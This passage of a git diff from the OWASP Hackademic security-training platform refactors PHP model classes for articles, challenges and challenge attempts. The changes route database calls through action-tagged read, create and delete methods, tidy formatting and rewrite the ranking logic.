"; + $ch = Challenge::getChallengeByPkgName($pkg_name); + if($ch == false){ + error_log("couldn't find challenge $pkg_name after adding"); die(); + } + $challenge->id = $ch->id; + $challenge->visibility= 'public'; + $challenge->availability='public'; + $challenge->publish = 1; + echo "Challenge $pkg_name updated

";var_dump(ChallengeBackend::updateChallenge($challenge));echo"

"; +} +?> diff --git a/model/common/class.Article.php b/model/common/class.Article.php index 92d159d9..c21d93f1 100755 --- a/model/common/class.Article.php +++ b/model/common/class.Article.php @@ -43,34 +43,33 @@ class Article { public $ordering; public $is_published; + protected static $action_type = 'article'; + public static function getArticle($id) { - global $db; $sql = "SELECT * FROM articles WHERE id = :id LIMIT 1"; - $params = array( - ':id' => $id - ); - $result_array=self::findBySQL($sql, $params); - return !empty($result_array)?array_shift($result_array):false; + $params = array(':id' => $id); + $result_array = self::findBySQL($sql, $params); + return !empty($result_array) ? array_shift($result_array) : false; } public static function getAllArticles($start, $limit) { - global $db; $sql = "SELECT * FROM articles WHERE is_published = 1 ORDER BY date_posted DESC LIMIT :start, :limit "; $params = array( - ':start' => $start, - ':limit' => $limit - ); + ':start' => $start, + ':limit' => $limit + ); $result_array=self::findBySQL($sql,$params); // return !empty($result_array)?array_shift($result_array):false; return $result_array; } - private static function findBySQL($sql, $params=NULL) { + private static function findBySQL($sql, $params = NULL) { global $db; - $result_set=$db->query($sql,$params); - $object_array=array(); - while($row=$db->fetchArray($result_set)) { - $object_array[]=self::instantiate($row); + $result_set = $db->read($sql, $params, self::$action_type); + $object_array = array(); + + while($row = $db->fetchArray($result_set)) { + $object_array[] = self::instantiate($row); } return $object_array; } @@ -78,12 +77,12 @@ private static function findBySQL($sql, $params=NULL) { public static function getNarticles ($start, $limit, $search=null, $category=null) { global $db; $params = array( - ':start' => $start, - ':limit' => $limit - ); - if ($search != null && $category != null) { + ':start' => $start, + ':limit' => $limit + ); + if($search != null && $category != null) { $params[':search_string'] = '%'.$search.'%'; - switch($category){ + switch($category) { case "title": $sql = "SELECT * FROM articles WHERE title LIKE :search_string LIMIT :start, :limit"; break; @@ -97,11 +96,11 @@ public static function getNarticles ($start, $limit, $search=null, $category=nul } else { $sql= "SELECT * FROM articles ORDER BY id LIMIT :start, :limit"; } - $result_array=self::findBySQL($sql, $params); + $result_array = self::findBySQL($sql, $params); return $result_array; } - public static function getNumberOfArticles($search=null, $category=null) { + public static function getNumberOfArticles($search = null, $category = null) { global $db; if ($search != null && $category != null) { $params[':search_string'] = '%'.$search.'%'; @@ -116,28 +115,28 @@ public static function getNumberOfArticles($search=null, $category=null) { $sql = "SELECT COUNT(*) as num FROM articles WHERE last_modified_by LIKE '%:search_string%'"; break; } - $query = $db->query($sql,$params); + $query = $db->read($sql, $params, self::$action_type); } else { $sql = "SELECT COUNT(*) as num FROM articles"; - $query = $db->query($sql); + $query = $db->read($sql, null, self::$action_type); } $result = $db->fetchArray($query); return $result['num']; } public static function instantiate($record) { - $object=new self; - foreach($record as $attribute=>$value) { + $object = new self; + foreach($record as $attribute => $value) { if($object->hasAttribute($attribute)) { - $object->$attribute=$value; + $object->$attribute = $value; } } return $object; } private function hasAttribute($attribute) { - $object_vars=get_object_vars($this); + $object_vars = get_object_vars($this); return array_key_exists($attribute,$object_vars); } } diff --git a/model/common/class.Challenge.php b/model/common/class.Challenge.php index 763521ab..3aea6beb 100755 --- a/model/common/class.Challenge.php +++ b/model/common/class.Challenge.php @@ -49,11 +49,13 @@ class Challenge { public $level; public $duration; + protected static $action_type = 'challenge'; + public function doesChallengeExist($name){ global $db; - $params=array(':name' => $name); + $params = array(':name' => $name); $sql = "SELECT * FROM challenges WHERE pkg_name = :name"; - $query = $db->query($sql,$params); + $query = $db->read($sql, $params, self::$action_type); $result = $db->numRows($query); if ($result) { return true; @@ -63,14 +65,12 @@ public function doesChallengeExist($name){ } public static function getChallenge($id) { - global $db; - $params = array( - ':id' => $id - ); + $params = array(':id' => $id); $sql = "SELECT * FROM challenges WHERE id= :id LIMIT 1"; $result_array=self::findBySQL($sql,$params); return !empty($result_array)?array_shift($result_array):false; } + public static function getPublicChallenges(){ global $db; $sql = "SELECT * FROM challenges WHERE availability = 'public' AND visibility = 'public'"; @@ -78,17 +78,14 @@ public static function getPublicChallenges(){ return !empty($result_array)?array_shift($result_array):false; } public static function getChallengeByPkgName($pkg_name) { - global $db; - $params = array( - ':pkg_name' => $pkg_name - ); + $params = array(':pkg_name' => $pkg_name); $sql = "SELECT * FROM challenges WHERE pkg_name= :pkg_name LIMIT 1"; $result_array=self::findBySQL($sql,$params); return !empty($result_array)?array_shift($result_array):false; //return $result_array; } -//get all Visible and solvable challenges +//get all Visible challenges public static function getChallengesFrontend($user_id) { global $db; $params=array(':user_id' => $user_id); @@ -105,8 +102,8 @@ class_challenges.class_id, FROM class_memberships WHERE class_memberships.user_id = :user_id ) - ) - ) + ) + ) ORDER BY challenges.id "; $result_array= self::findBySQL($sql,$params); @@ -116,8 +113,11 @@ class_memberships.user_id = :user_id $result = array_udiff($res_arr2, $result_array, 'Challenge::compare_challenges'); foreach( $result as $el) array_push($result_array,$el); + //echo "

".var_dump($result_array)."

"; + //Debug::show($result_array,'all',$this,_FUNCTION_); return !empty($result_array)?$result_array:false; } + /** * Returns the challenges assigned to the user with user_id $user * grouped by class_id @@ -125,19 +125,19 @@ class_memberships.user_id = :user_id public static function getChallengesAssigned($user) { global $db; $challenge_ids = ClassChallenges::getChallengesOfUser($user); - + //var_dump($challenge_ids); $class_challenges = array(); $class_ids = array(); if( $challenge_ids != FALSE){ - foreach ($challenge_ids as $chal) { + foreach ($challenge_ids as $chal) { if(!in_array($chal->class_id, $class_ids)){ $class_ids[$chal->class_id] = $chal->class_id; $class_challenges[$chal->class_id] = array(); } - $challenge = self::getChallenge($chal->id); + $challenge = self::getChallenge($chal->id); if($chal->class_id != NULL) array_push($class_challenges[$chal->class_id],$challenge); - } + } }else{ return FALSE; } @@ -149,23 +149,22 @@ public static function insertId() { return $db->insertId(); } - private static function findBySQL($sql,$params=NULL) { + private static function findBySQL($sql, $params = NULL) { global $db; - $result_set=$db->query($sql,$params); - $object_array=array(); - while($row=$db->fetchArray($result_set)) { - $object_array[]=self::instantiate($row); + $result_set = $db->read($sql, $params, self::$action_type); + $object_array = array(); + while($row = $db->fetchArray($result_set)) { + $object_array[] = self::instantiate($row); } return $object_array; } - public static function getNchallenges($start, $limit,$search=null,$category=null) { - global $db; + public static function getNchallenges($start, $limit, $search = NULL, $category = NULL) { $params = array( - ':start' => $start, - ':limit' => $limit - ); - if ($search != null && $category != null) { + ':start' => $start, + ':limit' => $limit + ); + if($search != NULL && $category != NULL) { $params[':search_string'] = '%'.$search.'%'; switch ($category) { case "title": @@ -175,43 +174,42 @@ public static function getNchallenges($start, $limit,$search=null,$category=null } else { $sql= "SELECT * FROM challenges LIMIT :start, :limit"; } - $result_array=self::findBySQL($sql,$params); + $result_array = self::findBySQL($sql, $params); return $result_array; } - public static function getNumberOfChallenges($search=null,$category=null) { + public static function getNumberOfChallenges($search = NULL, $category = NULL) { global $db; - if ($search != null && $category != null) { + if($search != NULL && $category != NULL) { $params[':search_string'] = '%'.$search.'%'; switch ($category) { case "title": $sql = "SELECT COUNT(*) as num FROM challenges WHERE title LIKE :search_string "; break; } - $query = $db->query($sql,$params); + $query = $db->read($sql, $params, self::$action_type); } else { $sql = "SELECT COUNT(*) as num FROM challenges"; - $query = $db->query($sql); + $query = $db->read($sql, NULL, self::$action_type); } $result = $db->fetchArray($query); return $result['num']; } public static function instantiate($record) { - $object=new self; - foreach($record as $attribute=>$value) { + $object = new self; + foreach($record as $attribute => $value) { if($object->hasAttribute($attribute)) { - $object->$attribute=$value; + $object->$attribute = $value; } } return $object; } private function hasAttribute($attribute) { - $object_vars=get_object_vars($this); - return array_key_exists($attribute,$object_vars); + $object_vars = get_object_vars($this); + return array_key_exists($attribute, $object_vars); } - private static function compare_challenges($ch_a, $ch_b) { // var_dump($ch_a->id);var_dump($ch_b->id);echo '
'; diff --git a/model/common/class.ChallengeAttempts.php b/model/common/class.ChallengeAttempts.php index ca40c649..5f00c1ca 100755 --- a/model/common/class.ChallengeAttempts.php +++ b/model/common/class.ChallengeAttempts.php @@ -1,408 +1,404 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.HackademicDB.php"); -class ChallengeAttempts { - public $id; - public $user_id; - public $challenge_id; - public $class_id; - public $time; - public $status; - public $tries;//total_attempts; - //public $dummy;//dummy class var for hacks - - /** - * Adds a challenge attempt with timestamp - * and increases the total counter of tries for the challenge - * @returns: true on succesful update - * false on error - */ - public static function addChallengeAttempt($user_id, $challenge_id, $class_id, $status){ - global $db; - - $time = date("Y-m-d H:i:s"); - $params=array(':user_id' => $user_id, - ':challenge_id' => $challenge_id, - ':class_id' => $class_id, - ':time' => $time, - ':status' => $status); - $sql="INSERT INTO challenge_attempts(user_id, challenge_id, class_id, time, status)"; - $sql .= "VALUES (:user_id, :challenge_id, :class_id, :time, :status)"; - $query = $db->query($sql,$params); - if ($db->affectedRows($query)) { - return self::increaseChallengeAttemptCount($user_id, - $challenge_id, - $class_id); - } else { - return false; - } - } - - /** - * Adds another challenge attempt or increases the existing ones - */ - public static function increaseChallengeAttemptCount($user_id, - $challenge_id, - $class_id){ - global $db; - $params=array(':user_id' => $user_id, - ':challenge_id' => $challenge_id, - ':class_id' => $class_id, - ':tries' => 1 - ); - $sql = "INSERT INTO challenge_attempt_count - (user_id, challenge_id, class_id, tries) - VALUES (:user_id, :challenge_id, :class_id, :tries) - ON DUPLICATE KEY UPDATE tries = tries + 1"; - $query = $db->query($sql, $params); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function deleteChallengeAttemptByUser($user_id){ - global $db; - $params=array(':user_id' => $user_id); - $sql = "DELETE FROM challenge_attempts WHERE user_id=:user_id"; - $query = $db->query($sql,$params); - if ($db->affectedRows($query)) { - self::deleteChallengeAttemptCountByUser($user_id); - return true; - } else { - return false; - } - } - - public static function deleteChallengeAttemptCountByUser($user_id){ - global $db; - $params=array(':user_id' => $user_id); - $sql = "DELETE FROM challenge_attempt_count WHERE user_id=:user_id"; - $query = $db->query($sql,$params); - - } - - public static function deleteChallengeAttemptByChallenge($challenge_id){ - global $db; - $params=array(':challenge_id' => $challenge_id); - $sql = "DELETE FROM challenge_attempts WHERE challenge_id=:challenge_id"; - $query = $db->query($sql,$params); - if ($db->affectedRows($query)) { - self::deleteChallengeAttemptCountByChallenge($challenge_id); - return true; - } else { - return false; - } - } - - public static function deleteChallengeAttemptCountByChallenge($challenge_id){ - global $db; - $params=array(':challenge_id' => $challenge_id); - $sql = "DELETE FROM challenge_attempt_count WHERE challenge_id=:challenge_id"; - $query = $db->query($sql,$params); - } - - public static function getChallengeAttemptDetails($user_id) { - global $db; - $params=array(':user_id' => $user_id); - $sql = "SELECT challenge_id,status,id,pkg_name FROM challenges INNER JOIN challenge_attempts"; - $sql .=" WHERE challenge_attempts.challenge_id=challenges.id AND challenge_attempts.user_id=:user_id "; - $result_array=self::findBySQL($sql,$params); - // return !empty($result_array)?array_shift($result_array):false; - return $result_array; - } - - public static function isChallengeCleared($user_id, $challenge_id, $class_id = '*') { - global $db; - $params = array( - ':user_id' => $user_id, - ':challenge_id' => $challenge_id, - ':class_id' => $class_id - ); - $sql = "SELECT * FROM challenge_attempts - WHERE user_id = :user_id - AND challenge_id = :challenge_id - AND class_id = :class_id - AND status = 1;"; - $query = $db->query($sql, $params); - if ($db->numRows($query)) { - return true; - } else { - return false; - } - } - public static function getUserProgress($user_id, $class_id) { - global $db; - $params = array(':user_id' => $user_id, ':class_id' => $class_id ); - - /*Count the attempts for all challenges*/ - $sql = "SELECT challenge_id, count(*) as tries FROM challenge_attempts - WHERE user_id = :user_id AND class_id = :class_id GROUP BY challenge_id;"; - $result_array = self::findBySQL($sql,$params); - - /* Get more data for the completed ones*/ - $sql2 = "SELECT DISTINCT challenge_id, time FROM challenge_attempts - WHERE user_id = :user_id AND class_id = :class_id AND status = 1;"; - $result_2 = self::findBySQL($sql2,$params); - - //var_dump($result_array);echo'

2:

';var_dump($result_2);echo'

'; - foreach($result_array as $element){ - foreach($result_2 as $el){ - if($element->challenge_id === $el->challenge_id){ - $element->time = $el->time; - $element->status = 1; - //unset($result_2[$el]); - } - } - } - //var_dump($result_array); - //var_dump(!empty($result_array)?$result_array:false); - return !empty($result_array)?$result_array:false; - } -/* public static function getTotalAttemptsOfUserForEachChallenge($user_id) { - global $db; - self::getUserProgress($user_id); - - $params = array(':user_id' => $user_id ); - $sql = "SELECT challenge_id, count(*) as count FROM challenge_attempts "; - $sql .= " WHERE user_id = :user_id GROUP BY challenge_id;"; - $result_array = self::findBySQL($sql,$params); - //var_dump(!empty($result_array)?$result_array:false); - return !empty($result_array)?$result_array:false; - } - - public static function getClearedChallenges($user_id) { - global $db; - $sql = "SELECT DISTINCT challenge_id, time FROM challenge_attempts "; - $sql .= " WHERE user_id = $user_id AND status = 1;"; - $query = $db->query($sql); - $result_array = self::findBySQL($sql,$params); - //var_dump(!empty($result_array)?$result_array:false); - return !empty($result_array)?$result_array:false; - } -*/ - - /** - * Returns the first try the user made for a particular challenge - * for a class or false if the user hasn't tried the challenge - */ - public static function getUserFirstChallengeAttempt($user_id, $challenge_id, $class_id){ - global $db; - - $params = array(':user_id' => $user_id, - ':challenge_id' => $challenge_id, - ':class_id' => $class_id); - $sql = ' SELECT * FROM challenge_attempts - WHERE user_id = :user_id - AND challenge_id = :challenge_id - AND class_id = :class_id - ORDER BY time ASC LIMIT 1;'; - $result_array = self::findBySQL($sql, $params); - return !empty($result_array)?array_shift($result_array):false; - } - /** - * Returns the last try the user made for a particular challenge - * for a class or false if the user hasn't tried the challenge - */ - public static function getUserLastChallengeAttempt($user_id, $challenge_id, $class_id){ - global $db; - - $params = array(':user_id' => $user_id, - ':challenge_id' => $challenge_id, - ':class_id' => $class_id); - $sql = ' SELECT * FROM challenge_attempts - WHERE user_id = :user_id - AND challenge_id = :challenge_id - AND class_id = :class_id - ORDER BY time DESC LIMIT 1;'; - $result_array = self::findBySQL($sql, $params); - return !empty($result_array)?array_shift($result_array):false; - } - /** - * Returns the user's tries for the challenge - */ - public static function getUserTriesForChallenge($user_id, $challenge_id, $class_id){ - global $db; - - $params = array(':user_id' => $user_id, - ':challenge_id' => $challenge_id, - ':class_id' => $class_id); - $sql = ' SELECT tries FROM challenge_attempt_count - WHERE user_id = :user_id - AND challenge_id = :challenge_id - AND class_id = :class_id'; - $result = self::findBySQL($sql, $params); - if(!empty($result)) - $result = $result[0]->tries; - else $resutl = NULL; - - return $result!= NULL?$result:false; - } - private static function findBySQL($sql,$params=NULL) { - global $db; - $result_set=$db->query($sql,$params); - $object_array=array(); - while($row=$db->fetchArray($result_set)) { - $object_array[]=self::instantiate($row); - } - return $object_array; - } - public static function instantiate($record) { - $object=new self; - foreach($record as $attribute=>$value) { - if($object->hasAttribute($attribute)) { - $object->$attribute=$value; - } - } - return $object; - } - private function hasAttribute($attribute) { - $object_vars=get_object_vars($this); - return array_key_exists($attribute,$object_vars); - } - public static function getUniversalRankings($class_id = NULL) { - global $db; - $params = array(':class_id' => $class_id ); - - $sql = "SELECT count(*) as tries, user_id, users.username - FROM challenge_attempts LEFT JOIN users ON - users.id = user_id WHERE status = 1 "; - if ($class_id) { - $sql .= "AND challenge_id IN (SELECT id as challenge_id - FROM class_challenges WHERE class_id = :class_id)"; - } - //$sql .= "ORDER BY count(*) DESC, time LIMIT 100;"; - - //var_dump($sql); - $query = $db->query($sql); - $result_array = array(); - while($row=$db->fetchArray($query)) { - array_push($result_array, $row); - } - return $result_array; - } - /** - * Returns how many challenges have been solved by the user - * with id $user_id on the first try. - * */ - public static function getCountOfFirstTrySolves($user_id, $class_id){ - global $db; - - $params = array(':user_id' => $user_id, - ':class_id' => $class_id); - $sql = "SELECT count(*) as tries - FROM challenge_attempt_count, challenge_attempts - WHERE challenge_attempt_count.user_id = :user_id - AND challenge_attempt_count.class_id =:class_id - AND challenge_attempt_count.tries = 1 - AND challenge_attempts.user_id = challenge_attempt_count.user_id - AND challenge_attempts.challenge_id = challenge_attempt_count.challenge_id - AND challenge_attempts.status = 1;"; - $result = self::findBySQL($sql, $params); - return !empty($result_array)?array_shift($result_array):0; - } - public static function getClasswiseRankings($class_id) { - global $db; - - $params = array(':class_id' => $class_id ); - - //get users belonging to class who have tried challenges belonging to class - $sql = "SELECT DISTINCT class_memberships.user_id, class_challenges.challenge_id - FROM class_memberships, class_challenges - WHERE class_memberships.class_id = class_challenges.class_id - AND class_challenges.class_id = :class_id - AND user_id - IN (SELECT user_id FROM challenge_attempts - WHERE challenge_attempts.user_id = class_memberships.user_id - AND challenge_attempts.challenge_id = class_challenges.challenge_id)"; - $query = $db->query($sql, $params); - $result_array = array(); - while($row=$db->fetchArray($query)) { - array_push($result_array, $row); - } - - $score = array(); - //for each user,challenge pair check if the user has solved the challenge - $score_q = "SELECT count(*) as tries, user_id, users.username - FROM challenge_attempts LEFT JOIN users ON - users.id = user_id WHERE status = 1 AND user_id = :user_id AND challenge_id = :challenge_id"; - - foreach($result_array as $row){ - - $user_id = $row['user_id']; - $challenge_id = $row['challenge_id']; - $params = array(':user_id' => $user_id, ':challenge_id' => $challenge_id); - $result = $db->query($score_q,$params); - - //echo'

'.$user_id." ".$challenge_id;echo'

';var_dump($row); - $res = array(); - while($res=$db->fetchArray($result)) { - $k = false; - if(!empty($score)){ - foreach($score as &$uscore){ - $k = array_search($res['user_id'],$uscore); - if( false != $k){ - $uscore['tries'] = 1 + intval($uscore['tries']); - break; - } - unset($uscore); - } - } - if( false === $k){ - if($res['username']!=null) - array_push($score, $res); - } - } - } - usort($score, array("ChallengeAttempts", "sort_count")); - return $score; - } - static function sort_count($rankA, $rankB){ - - if ($rankA['tries'] == $rankB['tries']) { - return 0; - } - return ($rankA['tries'] < $rankB['tries']) ? 1 : -1; - } - public static function getScore($user_id, $challenge_id){ - global $db; - $sql = "SELECT default_points, challenges.id, title - FROM challenges, challenge_attempts - WHERE challenge_attempts.challenge_id = {$challenge_id} - AND challenge_attempts.user_id = {$user_id} - AND STATUS =1 - AND challenge_attempts.challenge_id = challenges.id"; - - } -} +. + * + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2012 OWASP + * + */ +require_once(HACKADEMIC_PATH."model/common/class.HackademicDB.php"); +class ChallengeAttempts { + public $id; + public $user_id; + public $challenge_id; + public $class_id; + public $time; + public $status; + public $tries;//total_attempts; + //public $dummy;//dummy class var for hacks + + private static $action_type = 'challenge_attempt'; + + /** + * Adds a challenge attempt with timestamp + * and increases the total counter of tries for the challenge + * @returns: true on succesful update + * false on error + */ + public static function addChallengeAttempt($user_id, $challenge_id, $class_id, $status){ + global $db; + $time = date("Y-m-d H:i:s"); + $params = array(':user_id' => $user_id, + ':challenge_id' => $challenge_id, + ':class_id' => $class_id, + ':time' => $time, + ':status' => $status); + + $sql = "INSERT INTO challenge_attempts(user_id,challenge_id, class_id,time,status)"; + $sql .= "VALUES (:user_id,:challenge_id, :class_id, :time,:status)"; + $query = $db->create($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return self::increaseChallengeAttemptCount($user_id, $challenge_id, $class_id); + } else { + return false; + } + } + + /** + * Adds another challenge attempt or increases the existing ones + */ + private static function increaseChallengeAttemptCount($user_id, $challenge_id, $class_id){ + global $db; + $params = array(':user_id' => $user_id, + ':challenge_id' => $challenge_id, + ':class_id' => $class_id, + ':tries' => 1 + ); + $sql = "INSERT INTO challenge_attempt_count + (user_id, challenge_id, class_id, tries) + VALUES (:user_id, :challenge_id, :class_id, :tries) + ON DUPLICATE KEY UPDATE tries = tries + 1"; + $db->create($sql, $params, self::$action_type); + } + + public static function deleteChallengeAttemptByUser($user_id){ + global $db; + $params = array(':user_id' => $user_id); + $sql = "DELETE FROM challenge_attempts WHERE user_id=:user_id"; + $query = $db->delete($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + self::deleteChallengeAttemptCountByUser($user_id); + return true; + } else { + return false; + } + } + + private static function deleteChallengeAttemptCountByUser($user_id){ + global $db; + $params = array(':user_id' => $user_id); + $sql = "DELETE FROM challenge_attempt_count WHERE user_id=:user_id"; + $db->delete($sql, $params, self::$action_type); + } + + public static function deleteChallengeAttemptByChallenge($challenge_id){ + global $db; + $params = array(':challenge_id' => $challenge_id); + $sql = "DELETE FROM challenge_attempts WHERE challenge_id=:challenge_id"; + $query = $db->delete($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + self::deleteChallengeAttemptCountByChallenge($challenge_id); + return true; + } else { + return false; + } + } + + private static function deleteChallengeAttemptCountByChallenge($challenge_id){ + global $db; + $params = array(':challenge_id' => $challenge_id); + $sql = "DELETE FROM challenge_attempt_count WHERE challenge_id=:challenge_id"; + $db->delete($sql, $params, self::$action_type); + } + + public static function getChallengeAttemptDetails($user_id) { + $params = array(':user_id' => $user_id); + $sql = "SELECT challenge_id,status,id,pkg_name FROM challenges INNER JOIN challenge_attempts"; + $sql .= " WHERE challenge_attempts.challenge_id=challenges.id AND challenge_attempts.user_id=:user_id "; + $result_array = self::findBySQL($sql, $params); + // return !empty($result_array)?array_shift($result_array):false; + return $result_array; + } + + public static function isChallengeCleared($user_id, $challenge_id, $class_id = '%') { + global $db; + $params = array( + ':user_id' => $user_id, + ':challenge_id' => $challenge_id, + ':class_id' => $class_id + ); + $sql = "SELECT * FROM challenge_attempts + WHERE user_id = :user_id + AND challenge_id = :challenge_id + AND class_id LIKE :class_id + AND status = 1;"; + $query = $db->read($sql, $params, self::$action_type); + if ($db->numRows($query)) { + return true; + } else { + return false; + } + } + + public static function getUserProgress($user_id, $class_id) { + $params = array(':user_id' => $user_id, ':class_id' => $class_id ); + + /*Count the attempts for all challenges*/ + $sql = "SELECT challenge_id, count(*) as tries FROM challenge_attempts + WHERE user_id = :user_id AND class_id = :class_id GROUP BY challenge_id;"; + $result_array = self::findBySQL($sql, $params); + + /* Get more data for the completed ones*/ + $sql2 = "SELECT DISTINCT challenge_id, time FROM challenge_attempts + WHERE user_id = :user_id AND class_id = :class_id AND status = 1;"; + $result_2 = self::findBySQL($sql2, $params); + + //var_dump($result_array);echo'

2:

';var_dump($result_2);echo'

'; + foreach($result_array as $element){ + foreach($result_2 as $el){ + if($element->challenge_id === $el->challenge_id){ + $element->time = $el->time; + $element->status = 1; + //unset($result_2[$el]); + } + } + } + //var_dump($result_array); + //var_dump(!empty($result_array)?$result_array:false); + //var_dump($sql); + return !empty($result_array) ? $result_array : false; + } +/* public static function getTotalAttemptsOfUserForEachChallenge($user_id) { + global $db; + self::getUserProgress($user_id); + + $params = array(':user_id' => $user_id ); + $sql = "SELECT challenge_id, count(*) as count FROM challenge_attempts "; + $sql .= " WHERE user_id = :user_id GROUP BY challenge_id;"; + $result_array = self::findBySQL($sql,$params); + //var_dump(!empty($result_array)?$result_array:false); + return !empty($result_array)?$result_array:false; + } + + public static function getClearedChallenges($user_id) { + global $db; + $sql = "SELECT DISTINCT challenge_id, time FROM challenge_attempts "; + $sql .= " WHERE user_id = $user_id AND status = 1;"; + $query = $db->query($sql); + $result_array = self::findBySQL($sql,$params); + //var_dump(!empty($result_array)?$result_array:false); + return !empty($result_array)?$result_array:false; + } +*/ + /** + * Returns the first try the user made for a particular challenge + * for a class or false if the user hasn't tried the challenge + */ + public static function getUserFirstChallengeAttempt($user_id, $challenge_id, $class_id){ + + $params = array(':user_id' => $user_id, + ':challenge_id' => $challenge_id, + ':class_id' => $class_id); + $sql = ' SELECT * FROM challenge_attempts + WHERE user_id = :user_id + AND challenge_id = :challenge_id + AND class_id = :class_id + ORDER BY time ASC LIMIT 1;'; + $result_array = self::findBySQL($sql, $params); + return !empty($result_array)?array_shift($result_array):false; + } + /** + * Returns the last try the user made for a particular challenge + * for a class or false if the user hasn't tried the challenge + */ + public static function getUserLastChallengeAttempt($user_id, $challenge_id, $class_id){ + + $params = array(':user_id' => $user_id, + ':challenge_id' => $challenge_id, + ':class_id' => $class_id); + $sql = ' SELECT * FROM challenge_attempts + WHERE user_id = :user_id + AND challenge_id = :challenge_id + AND class_id = :class_id + ORDER BY time DESC LIMIT 1;'; + $result_array = self::findBySQL($sql, $params); + return !empty($result_array)?array_shift($result_array):false; + } + /** + * Returns the user's tries for the challenge + */ + public static function getUserTriesForChallenge($user_id, $challenge_id, $class_id){ + + $params = array(':user_id' => $user_id, + ':challenge_id' => $challenge_id, + ':class_id' => $class_id); + $sql = ' SELECT tries FROM challenge_attempt_count + WHERE user_id = :user_id + AND challenge_id = :challenge_id + AND class_id = :class_id'; + $result = self::findBySQL($sql, $params); + if(!empty($result)) + $result = $result[0]->tries; + else $resutl = NULL; + + return $result!= NULL?$result:false; + } + private static function findBySQL($sql, $params = NULL) { + global $db; + $result_set = $db->read($sql, $params, self::$action_type); + $object_array = array(); + while($row = $db->fetchArray($result_set)) { + $object_array[] = self::instantiate($row); + } + return $object_array; + } + + public static function instantiate($record) { + $object = new self; + foreach($record as $attribute => $value) { + if($object->hasAttribute($attribute)) { + $object->$attribute = $value; + } + } + return $object; + } + + private function hasAttribute($attribute) { + $object_vars = get_object_vars($this); + return array_key_exists($attribute, $object_vars); + } + + /* + * Get all the rankings for all the students + */ + public static function getUniversalRankings($class_id = NULL) { + global $db; + $params = array(':class_id' => $class_id ); + + $sql = "SELECT count(*) as tries, user_id, users.username + FROM challenge_attempts LEFT JOIN users ON + users.id = user_id WHERE status = 1 "; + if ($class_id) { + $sql .= "AND challenge_id IN (SELECT id as challenge_id + FROM class_challenges WHERE class_id = :class_id)"; + } + $sql .= "GROUP BY user_id ORDER BY count(*) DESC, time LIMIT 100;"; + + //var_dump($sql); + $query = $db->read($sql, NULL, self::$action_type); // FIXME: why is params not used? + $result_array = array(); + while($row = $db->fetchArray($query)) { + array_push($result_array, $row); + } + return $result_array; + } + /** + * Returns how many challenges have been solved by the user + * with id $user_id on the first try. + * */ + public static function getCountOfFirstTrySolves($user_id, $class_id){ + + + $params = array(':user_id' => $user_id, + ':class_id' => $class_id); + $sql = "SELECT count(*) as tries + FROM challenge_attempt_count, challenge_attempts + WHERE challenge_attempt_count.user_id = :user_id + AND challenge_attempt_count.class_id =:class_id + AND challenge_attempt_count.tries = 1 + AND challenge_attempts.user_id = challenge_attempt_count.user_id + AND challenge_attempts.challenge_id = challenge_attempt_count.challenge_id + AND challenge_attempts.status = 1;"; + $result = self::findBySQL($sql, $params); + return !empty($result_array)?array_shift($result_array):0; + } + + /* Calculates the class-points for each user and sorts them + * @returns: unsorted array[array(['user_id','username','points','count'])] + */ + public static function getClasswiseRankings($class_id) { + global $db; + $res_score = false; + + $active_class_users = "SELECT DISTINCT class_memberships.user_id FROM class_memberships,challenge_attempts where class_memberships.user_id=challenge_attempts.user_id AND class_memberships.class_id=challenge_attempts.class_id AND class_memberships.class_id=:class_id"; + + $params = array(':class_id'=>$class_id); + + $challenges_cleared = "SELECT COUNT(DISTINCT challenge_id) as count FROM challenge_attempts, MAX(time) as last_successful_attempt WHERE user_id=:user_id AND class_id=:class_id AND status=1"; + + $active = $db->read($active_class_users,$params,self::$action_type); + $active_users = array(); + while($row = $db->fetchArray($active)) { + array_push($active_users,$row); + } + $res_score = array(); + + foreach($active_users as $uinfo){ + $username = User::getUser($uinfo['user_id']); + $username = $username->username; + $scores = UserScore::get_scores_for_user_class($uinfo['user_id'], $class_id); + $points = 0; + foreach($scores as $score){ + $points += $score->points; + } + $params[':user_id'] = $uinfo['user_id']; + $cc = $db->read($challenges_cleared,$params,self::$action_type); + while($row = $db->fetchArray($cc)){ + $cleared_count = $row["count"]; + $last_successful_attempt=$row['last_successful_attempt']; + } + array_push($res_score,["id"=>$uinfo['user_id'],'username'=>$username,'score'=>$points,'count'=>$cleared_count,'last_successful_attempt'=>$last_successful_attempt]); + } + return $res_score; + } + + /* Calculates the total points for each user and sorts them + * @returns: unsorted array[array(['user_id','username','points','count'])] + * + public static function getUniversalRankings() { + global $db; + $res_score = false; + + $active_class_users = "SELECT DISTINCT class_memberships.user_id FROM class_memberships,challenge_attempts where class_memberships.user_id=challenge_attempts.user_id AND class_memberships.class_id=challenge_attempts.class_id"; + + $challenges_cleared = "SELECT COUNT(DISTINCT challenge_id) as count FROM challenge_attempts WHERE user_id=:user_id AND status=1"; + + $active = $db->read($active_class_users,$params,self::$action_type); + $active_users = array(); + while($row = $db->fetchArray($active)) { + array_push($active_users,$row); + } + $res_score = array(); + + foreach($active_users as $uinfo){ + $username = User::getUser($uinfo['user_id']); + $username = $username->username; + $scores = UserScore::get_scores_for_user($uinfo['user_id']); + $points = 0; + foreach($scores as $score){ + $points += $score->points; + } + $params[':user_id'] = $uinfo['user_id']; + $cc = $db->read($challenges_cleared,$params,self::$action_type); + while($row = $db->fetchArray($cc)){ + $cleared_count = $row["count"]; + } + array_push($res_score,["id"=>$uinfo['user_id'],'username'=>$username,'score'=>$points,'count'=>$cleared_count]); + } + return $res_score; + }*/ +} diff --git a/model/common/class.HackademicDB.php b/model/common/class.HackademicDB.php index 6c32148a..f80b23b7 100755 --- a/model/common/class.HackademicDB.php +++ b/model/common/class.HackademicDB.php @@ -35,60 +35,173 @@ class HackademicDB { private $connection; - public function openConnection() { + /** + * Opens a connection to the database using the constants defined for the database + * interactions. Echoes the PDOException message if a connection can't be + * established. + */ + public function openConnection() { $host = DB_HOST; $dbname = DB_NAME; $user = DB_USER; $pass = DB_PASSWORD; try { - $this->connection = new 